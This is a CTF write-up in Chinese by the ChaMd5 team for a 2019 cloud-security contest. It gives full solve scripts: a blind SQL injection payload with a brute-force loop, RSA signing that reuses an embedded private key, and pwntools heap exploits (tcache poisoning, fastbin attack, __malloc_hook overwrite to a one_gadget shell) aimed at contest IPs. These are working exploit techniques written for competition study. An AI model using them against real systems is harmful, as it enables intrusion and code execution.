"数字经济"云安全公测大赛 WriteUp

ChaMd5安全团队

发布于 2019-09-25 16:00:06

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发布于 2019-09-25 16:00:06

文章被收录于专栏：ChaMd5安全团队 ChaMd5安全团队ChaMd5安全团队

Web

gameapp 解题思路

Java 和 python 的 RSA 私钥加密略有不同，所以不浪费时间，直接从 apk 里抠出来加密部分，注意需要处理一下 base64 部分

GameApp.java

package ctf;

import java.security.Key;
import java.security.KeyFactory;
import java.security.interfaces.RSAPrivateKey;
import java.security.spec.PKCS8EncodedKeySpec;
import java.util.Base64;
import java.util.Base64.Decoder;
import java.util.Base64.Encoder;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;

public class GameApp {
    private static Map<Integer, String> keyMap = new HashMap();
    public static void genKeyPair() {
        keyMap.put(Integer.valueOf(0), "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY\nImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a\nYFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE\nA3Hau/DTzW4g4xhvzQIDAQAB");
        keyMap.put(Integer.valueOf(1), "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa\nXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8\nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L\nUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW\ncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e\n1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE\nrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm\nA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb\nUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4\nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH\nz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m\n+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf\nlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu\nKMtF7eEv1kHS+3Wd");
    }
    public static String private_encrypt(String paramString) throws Exception {
        Decoder decoder = Base64.getDecoder();
        Object localObject = decoder.decode(keyMap.get(Integer.valueOf(1)).replaceAll("\n", "").getBytes());
        localObject = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec((byte[])localObject));
        Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
        localCipher.init(1, (Key)localObject);
        Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8")));
    }
    public static void main(String[] args) throws Exception {
        genKeyPair();
        System.out.println(private_encrypt("{\"player\":\"virink_tql\"}"));
        System.out.println();
        System.out.println(private_encrypt("{\"op\":\"add\",\"score\":100}"));
    }
}

运行后得到 login 和 addscore 加密后的数据，发送给服务端即可

注意需要处理 cookie，每次请求后的 cookie 都会更新

Inject4Fun 解题思路

试了一下好像^注入可以，过滤了ascii

substr可用

admin' ^ (length(password)=32) ^ '1

密码长度是32位

admin' ^ (substr(password,1,1)='a') ^ '1

弱弱的写下另一个思路，直接在console敲代码

注意需要处理 cookie，每次请求后的 cookie 都会更新

function randomPassword(size)
{
  var seed = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','P','Q','R','S','T','U','V','W','X','Y','Z',
  'a','b','c','d','e','f','g','h','i','j','k','m','n','p','Q','r','s','t','u','v','w','x','y','z',
  '2','3','4','5','6','7','8','9'
  );
  seedlength = seed.length;
  var createPassword = '';
  for (i=0;i<size;i++) {
    j = Math.floor(Math.random()*seedlength);
    createPassword += seed[j];
  }
  return createPassword;
}


function encode(username, password){
    var a = randomPassword(16);
    var key = CryptoJS.enc.Latin1.parse(a);        
    var iv =    CryptoJS.enc.Latin1.parse('1234567890123456');            
    var data1 = username;     
    var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
    var data2 = password;
    var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });

    $('#username').val(encrypted1);
    $('#password').val(encrypted2);
    var password = $('#password').val();
    var username = $('#username').val();

    var rsa = new RSAKey();
    var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B";
    var exponent = "010001";
    rsa.setPublic(modulus, exponent);
    var res = rsa.encrypt(a);  

    return [username, password, res]

}
// wrong password
// wrong user
var password = '';
var strings = 'abcdefghijklmnopqrstuvwxyz0123456789';

function get_password(i, j) {
    if(i > 32 || j > 36) return;
    var x =  strings[j];
    var username = "' ^ (substr(password," + i +",1)='" +x+"') ^ '1";
    res = encode(username, 'admin');
    $.ajax({ 
      type:"post", 
      url:"login.php", 
      data: {username:res[0], password:res[1], code:res[2]}, 
      dataType: 'text', 
      async : false,
      success:function(result){ 
        if(result == 'wrong user') {
          // console.log(result);
          get_password(i, ++j);
        } else {
          password += x;
          console.log(password);
          get_password(++i, 0);
        }
      } 
    });
}
get_password(1, 0);

会爆栈，别问我为什么用递归，谁知道用for循环它只执行一次，所以可以分几次跑，修改一下get_password的参数。

用chamd5.org查出来密码是admin123password321，登陆即可获得flag

Misc

findme

注意需要处理 cookie，每次请求后的 cookie 都会更新

from pwn import *
#context.log_level='debug'
ip='121.40.216.20'
# ip='127.0.0.1'
port=9999
p=remote(ip,port)
g='0'
s='100000000000000000000000000000000'
def num2str(num):
    return hex(num).replace('0x','').replace('L','')

def pad(num1,num2):
    p.sendline(g)
    p.sendlineafter('s',s)
    p.sendlineafter('g1',num2str(num1))
    p.sendlineafter('g2',num2str(num2))
    flag=p.recvuntil('g')
    print(flag)
    if '1' in flag:
        return True
    else:
        return False
l=0
r=pow(2,128)
while (r-l)>3:
    t=(r-l)/3
    m1=l+t
    m2=m1+t
    if pad(l,m1):
        r=m1
    else:
        if pad(m1,m2):
            l=m1
            r=m2
        else:
            l=m2

for i in range(r-l):
    pad(l+i,l+i)

ewm

解题思路

用 ps 拼个图，扫一下就出来了

PWN

amazon

解题思路泄露libc，heap地址后，利用double_free 攻击small_bin 来构造overlap chunk(由于main_arena的top指针会被覆盖，所以后期不能从top_chunk分配，之前就要构造好chunk结构），最后利用tcache poisoning覆盖到malloc_hook与realloc_hook

from pwn import *

#context.log_level = 'debug'

p = process('./amazon')
#p=remote("121.41.38.38",9999)
libc=ELF("./libc-2.27.so")

def g(p,data=False):
    gdb.attach(p,data)
    raw_input()

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def rl():
    return p.recvline()

def re(x):
    return p.recv(x)

def add(idx,price,length,data):
    ru("Your choice: ")
    sl(str(1))
    ru("uy: ")
    sl(str(idx))
    ru("many: ")
    sl(str(price))
    ru("note: ")
    sl(str(length))
    ru("tent: ")
    se(data)

def add2(idx,price,length):
    ru("Your choice: ")
    sl(str(1))
    ru("uy: ")
    sl(str(idx))
    ru("many: ")
    sl(str(price))
    ru("note: ")
    sl(str(length))

def show():
    ru("Your choice: ")
    sl(str(2))

def free(idx):
    ru("Your choice: ")
    sl(str(3))
    ru("for: ")
    sl(str(idx))


add(1,0x10,0x90,"1"*8)
add(1,0x10,0x80,p64(0))
free(1)
add(1,0x10,0x30,"3"*8)
free(2)
add(1,0x10,0x20,";$0\x00")
add(1,0x10,0x20,"2"*8)
free(0)
free(0)
show()
ru("Name: ")
heap=u64(re(6).ljust(8,"\x00"))-0x260
print hex(heap)

for i in range(6):
    free(0)

show()
ru("Name: ")
lib=u64(re(6).ljust(8,"\x00"))-0x3ebca0
print hex(lib)

hook=libc.symbols["__malloc_hook"]
hook=lib+hook
print hex(hook)
one=lib+0x10a38c
realloc=lib+libc.symbols["realloc"]

add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2)

add(1,0x10,0x90,"1"*8)

add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2)
add(1,0x10,0x20,p64(hook-0x28))
add(1,0x10,0x30,"wwe")

add(1,0x10,0x30,p64(one)+p64(realloc+0x9))

add2(1,1,0x60)

p.interactive()

fkroman

解题思路

爆破stdout 泄露libc，利用fastbin attack 劫持__malloc_hook

注意需要处理 cookie，每次请求后的 cookie 都会更新

from pwn import *
context.log_level = 'debug'
def rv():
    p.recv()

def ru(data):
    p.recvuntil(data)

def sl(data):
    p.sendline(data)

def sd(data):
    p.send(data)

def add(idx,size):
    ru("choice: ")
    sl("1")
    rv()
    sl(str(idx))
    rv()
    sl(str(size))

def free(idx):
    ru("choice: ")
    sl("3")
    rv()
    sl(str(idx))

def edit(idx , size , data):
    ru("choice: ")
    sl("4")
    rv()
    sl(str(idx))
    rv()
    sl(str(size))
    rv()
    sd(data)

for i in range(100):
    try:
        #p= process("./fkroman")
        p=remote("121.40.246.48","9999")
        add(0,0xa0)
        add(1,0x60)
        add(2,0x60)
        free(0)
        add(3,0x60)
        edit(3,2,"\xdd\x25")
        free(1)
        free(2)
        edit(2,1,"\x00")
        add(4,0x60)
        add(5,0x60)
        add(6,0x60)
        payload = "a"*3 +p64(0)*6 + p64(0xfbad1800) + p64(0)*3+"\x00"
        edit(6,len(payload) , payload)
        libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x7ffff7dd2600 + 0x00007ffff7a0d000
        #repair fastbin 
        free(4)
        edit(4,8,p64(libc_base -0x7ffff7a0d000+ 0x7ffff7dd1aed ))
        add(7,0x60)
        add(7,0x60)
        payload = "a"*3 + p64(0)*2+p64(libc_base + 0xf1147)
        gdb.attach(p)
        edit(7,len(payload),payload)
        add(9,0x20)
        p.interactive()
    except: 
        print i

还有上次byte_ctf 的mul_note做法，

from pwn import *
context.log_level = 'debug'
def add(idx,size):
    p.sendlineafter("choice: ","1")
    p.sendlineafter("Index: ",str(idx))
    sleep(0.1)
    p.sendlineafter("Size: ",str(size))

def free(idx):
    p.sendlineafter("choice: ","3")
    p.sendlineafter("Index: ",str(idx))

def edit(idx,size,data):
    p.sendlineafter("choice: ","4")
    p.sendlineafter("Index: ",str(idx))
    sleep(0.1)
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Content: ",data)


for i in range(1000):
    try:
        #p = process("./fkroman")
        p = remote("121.40.246.48","9999")
        add(0,0x10)
        add(1,0xe0)
        add(2,0x10)
        add(3,0xe0)
        add(4,0xe0)
        add(5,0xe0)
        add(9,0xe0)
        add(10,0x68)
        free(1)
        edit(1,10,"a"*8+"\xe8\x37\n")
        #modify global_max_fast
        p.sendline("")
        add(6,0xe0)
        free(3)
        edit(3,2,"\xcf\x25\n")
        p.sendline("")
        add(7,0xe0)
        add(7,0xe0)
        payload = "a"+p64(0)*7+p64(0xf1)+p64(0xfbad1887)+p64(0)*3+"\x00"+"\n"
        edit(7,len(payload),payload)
        libc_base = u64(p.recvuntil("\xff\x7f").ljust(8,"\x00"))-0x7ffff7a89b00+0x00007ffff7a0d000
        log.info(hex(libc_base))
        gdb.attach(p)
        p.sendline("")
        p.recv()
        p.recv()
        p.sendline("")
        p.recv()
        p.sendline("3")
        p.recv()
        p.sendline("5")
        free(10)
        edit(10,8,p64(libc_base -0x00007ffff7a0d000 + 0x7ffff7dd1aed))
        p.sendline("")
        p.recv()
        p.sendline("")
        p.recv()
        p.sendline("1")
        p.recv()
        p.sendline("11")
        p.recv()
        p.sendline(str(0x68))
        add(11,0x68)
        one_gadget = libc_base + 0xf1147
        #edit(11,0x30,"aaa"+p64(0) + p64(libc_base +0x7ffff7dd1b10 -0x7ffff7a0d000 ) +p64(one_gadget))
        edit(11,0x30,"aaa"+p64(0) + p64(0) +p64(one_gadget))
        p.sendline("")
        #free(10)
        #free(10)
        add(11,0x10)
        p.interactive()
    except:
        print i

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ChaMd5 ctf组长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

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原始发表：2019-09-22，如有侵权请联系 cloudcommunity@tencent.com 删除

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